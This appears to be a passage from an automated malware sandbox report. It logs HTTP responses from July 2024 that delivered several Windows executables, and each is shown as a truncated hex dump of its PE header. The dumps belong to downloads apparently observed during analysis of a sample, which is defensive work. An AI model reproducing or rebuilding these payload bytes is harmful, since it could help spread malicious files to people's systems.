19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 29 89 6e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 ea d7 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 00 06 00 8c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 dc 4b 00 00 90 90 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 91 05 00 18 00 00 00 c8 90 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 cc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9a e3 04 00 00 10 00 00 00 e4 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3a 10 01 00 00 00 05 00 00 12 01 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 65 00 00 00 20 06 00 00 34 00 00 00 fa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 4b 00 00 00 a0 06 00 00 4c 00 00 00 30 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:08:52 GMTContent-Type: application/octet-streamContent-Length: 304128Last-Modified: Thu, 11 Jul 2024 22:56:50 GMTConnection: keep-aliveETag: "66906332-4a400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1c aa d7 91 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 d0 02 00 00 d0 01 00 00 00 00 00 e2 9f 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 9f 02 00 4f 00 00 00 00 00 03 00 cc c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 74 9f 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 cf 02 00 00 20 00 00 00 d0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cc c9 01 00 00 00 03 00 00 cc 01 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 04 00 00 04 00 00 00 a0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:09:01 GMTContent-Type: application/octet-streamContent-Length: 550912Last-Modified: Fri, 12 Jul 2024 08:28:21 GMTConnection: keep-aliveETag: "6690e925-86800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 41 fd 6e b8 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 ac 02 00 00 ba 05 00 00 00 00 00 de ca 02 00 00 20 00 00 00 e0 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 ca 02 00 57 00 00 00 00 e0 02 00 62 b6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 aa 02 00 00 20 00 00 00 ac 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 62 b6 05 00 00 e0 02 00 00 b8 05 00 00 ae 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 08 00 00 02 00 00 00 66 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ca 02 00 00 00 00 00 48 00 00 00 02 00 05 00 ac a0 01 00 d8 29 01 00 09 00 00 00 45 03 00 06 0c 82 01 00 a0 1e 00 00 50 20 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 44 7e a2 00 3b b2 00 b0 5d e9 31 8f f9 93 21 48 bb c8 07 4e 8e 49 90 ab 4e 96 97 1e 65 cc 46 b4 f4 58 0b fb 1c 17 06 56 3a 1c a3 d5 fc f3 1a 29 ab ce 5d 22 d2 dc 66 53 5a a6 7b 66 15 c6 9f f4 a7 50 51 41 65 53 7e 17 a4 c3 1a 27 5e 96 3a ab 6b cb 3b 9d 45 f1 1f fa 58 ab ac e3 03 93 4b 30 fa 55 20 76 6d f6 ad cc 76 91 88 02 4c 25 f5 e5 d7 fc 4f 2a cb d7 c5 35 44 80 26 62 a3 8f b5 b1 5a 49 de ba 1b 67 25 ea 0e 98 45 fe c0 e1 5d 2f 75 02 c3 4c f0 12 81 46 97 a3 8d d3 f9 c6 6b 8f 5f e7 03 92 9c 95 15 6d 7a eb bf 52 59 da 95 be 83 2d d4 74 21 d3 58 e0 69 29 49 c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:09:04 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Fri, 12 Jul 2024 08:46:23 GMTConnection: keep-aliveETag: "6690ed5f-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 85 f4 5a 70 c1 95 34 23 c1 95 34 23 c1 95 34 23 12 e7 37 22 cc 95 34 23 12 e7 31 22 70 95 34 23 12 e7 30 22 d6 95 34 23 93 e0 30 22 d0 95 34 23 93 e0 37 22 d6 95 34 23 93 e0 31 22 95 95 34 23 12 e7 35 22 d0 95 34 23 c1 95 35 23 1e 95 34 23 09 e0 30 22 c0 95 34 23 09 e0 31 22 c8 95 34 23 09 e0 36 22 c0 95 34 23 52 69 63 68 c1 95 34 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 57 ed 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f0 0b 00 00 32 02 00 00 00 00 00 68 11 0a 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 81 0d 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 f4 67 00 00 cc 5a 0d 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 5b 0d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 ac 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c ef 0b 00 00 10 00 00 00 f0 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 90 01 00 00 00 0c 00 00 92 01 00 00 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 30 37 00 00 00 a0 0d 00 00 24 00 00 00 86 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 f4 67 00 00 00 e0 0d 00 00 68 00 00 00 aa 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:09:17 GMTContent-Type: application/octet-streamContent-Length: 550912Last-Modified: Fri, 12 Jul 2024 08:28:21 GMTConnection: keep-aliveETag: "6690e925-86800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 41 fd 6e b8 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 ac 02 00 00 ba 05 00 00 00 00 00 de ca 02 00 00 20 00 00 00 e0 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 ca 02 00 57 00 00 00 00 e0 02 00 62 b6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 aa 02 00 00 20 00 00 00 ac 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 62 b6 05 00 00 e0 02 00 00 b8 05 00 00 ae 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 08 00 00 02 00 00 00 66 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ca 02 00 00 00 00 00 48 00 00 00 02 00 05 00 ac a0 01 00 d8 29 01 00 09 00 00 00 45 03 00 06 0c 82 01 00 a0 1e 00 00 50 20 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 44 7e a2 00 3b b2 00 b0 5d e9 31 8f f9 93 21 48 bb c8 07 4e 8e 49 90 ab 4e 96 97 1e 65 cc 46 b4 f4 58 0b fb 1c 17 06 56 3a 1c a3 d5 fc f3 1a 29 ab ce 5d 22 d2 dc 66 53 5a a6 7b 66 15 c6 9f f4 a7 50 51 41 65 53 7e 17 a4 c3 1a 27 5e 96 3a ab 6b cb 3b 9d 45 f1 1f fa 58 ab ac e3 03 93 4b 30 fa 55 20 76 6d f6 ad cc 76 91 88 02 4c 25 f5 e5 d7 fc 4f 2a cb d7 c5 35 44 80 26 62 a3 8f b5 b1 5a 49 de ba 1b 67 25 ea 0e 98 45 fe c0 e1 5d 2f 75 02 c3 4c f0 12 81 46 97 a3 8d d3 f9 c6 6b 8f 5f e7 03 92 9c 95 15 6d 7a eb bf 52 59 da 95 be 83 2d d4 74 21 d3 58 e0 69 29 49 c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:09:18 GMTContent-Type: application/octet-streamContent-Length: 2981888Last-Modified: Fri, 12 Jul 2024 08:35:16 GMTConnection: keep-aliveETag: "6690eac4-2d8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 3b 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 38 2e 00 00 0e 00 00 00 00 00 00 00 80 78 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 78 00 00 04 00 00 cc a9 2d 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 80 2e 00 95 00 00 00 00 60 2e 00 13 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 2e 00 00 20 00 00 00 32 11 00 00 20 00 00 00 00 00 00 